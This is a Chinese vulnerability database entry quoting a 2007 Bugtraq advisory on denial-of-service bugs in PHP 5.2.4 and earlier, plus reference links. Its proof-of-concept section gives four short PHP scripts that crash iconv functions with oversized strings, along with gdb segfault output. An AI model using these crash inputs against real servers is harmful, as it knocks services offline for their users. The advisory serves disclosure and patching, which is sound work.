PHP 多个拒绝服务漏洞

https://cxsecurity.com/issue/WLB-2007090040
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200709-153

PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。PHP的5.2.5之前版本中存在多个安全漏洞，具体包括：1)htmlentities和htmlspecialchars函数中不会接受部分多字节序列；2)fnmatch()、setlocale()和glob()函数中存在多个缓冲区溢出；3)处理.htaccess文件中的错误可能导致通过.htaccess文件修改mail.force_extra_parametersphp.ini指令，绕过disable_functions指令；4)处理变量中的错误可能导致通过ini_set()函数覆盖httpd.conf中所设置的值。

Application: PHP <=5.2.4
Web Site: http://php.net
Platform: unix
Bug: denial of service
function: iconv(),iconv_strlen(),iconv_mime_decode(),iconv_mime_decode_headers()
special condition: default php-memory-limit 
-------------------------------------------------------
 
1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP  is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

multiple Iconv funtions are vulnerable to a denial of service.

=====
3)Proof of concept
=====
/*
debian:~# php -v
PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies 
*/

Proof of concept example :

1) iconv()

<?php
$a = str_repeat("/", 4199000);
iconv(1, $a, 1);
?>

(gdb)run 1.php

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1217608000 (LWP 29444)]
0xb76ed3e5 in iconv_close () from /lib/tls/libc.so.6

2) iconv_mime_decode_headers()

<?php
$a = str_repeat("/", 2991370);
iconv_mime_decode_headers(0, 1, $a);
?>

(gdb) run 2.php

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1216760128 (LWP 29475)]
0xb78a69ef in _dl_open () from /lib/tls/libc.so.6

3)iconv_mime_decode()

(gdb) run 3.php

<?php
$a = str_repeat("/", 3799000);
iconv_mime_decode(1, 0, $a);
?>

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1217227072 (LWP 29518)]
0xb78349ef in _dl_open () from /lib/tls/libc.so.6

4)iconv_strlen()

<?php
$a = str_repeat("/", 9791999);
iconv_strlen(1, $a);
?>

(gdb) run 4.php

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1216637248 (LWP 29543)]
0xb77d9d1b in iconv_open () from /lib/tls/libc.so.6

========
4)Greets
========
Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone & #nibbles

=====
5)Credits
=====

Laurent gaffie
contact : laurent.gaffie (at) gmail (dot) com [email concealed]
stay tuned, site comming soon ....

来源:BUGTRAQ
名称:20070906PHP<=5.2.4multipleIconvfunctionsdenialofservice
链接:http://www.securityfocus.com/archive/1/archive/1/478730/100/0/threaded
来源:wiki.rpath.com
链接:http://wiki.rpath.com/wiki/Advisories:rPSA-2007-0242
来源:OSVDB
名称:38916
链接:http://osvdb.org/38916
来源:issues.rpath.com
链接:https://issues.rpath.com/browse/RPL-1943
来源:HP
名称:SSRT080056
链接:http://www.securityfocus.com/archive/1/archive/1/491693/100/0/threaded
来源:GENTOO
名称:GLSA-200710-02
链接:http://www.gentoo.org/security/en/glsa/glsa-200710-02.xml
来源:SREASON
名称:3122
链接:http://securityreason.com/securityalert/3122
来源:SECUNIA
名称:30040
链接:http://secunia.com/advisories/30040
来源:SECUNIA
名称:28658
链接:http://secunia.com/advisories/28658
来源:SECUNIA
名称:27659
链接:http://secunia.com/advisories/27659
来源:SECUNIA
名称:27102
链接:http://secunia.com/advisories/27102
来源:SUSE
名称:SUSE-SA:2008:004
链接:http://lists.opensuse.org/opensuse-security-announce/2008-01/msg00006.html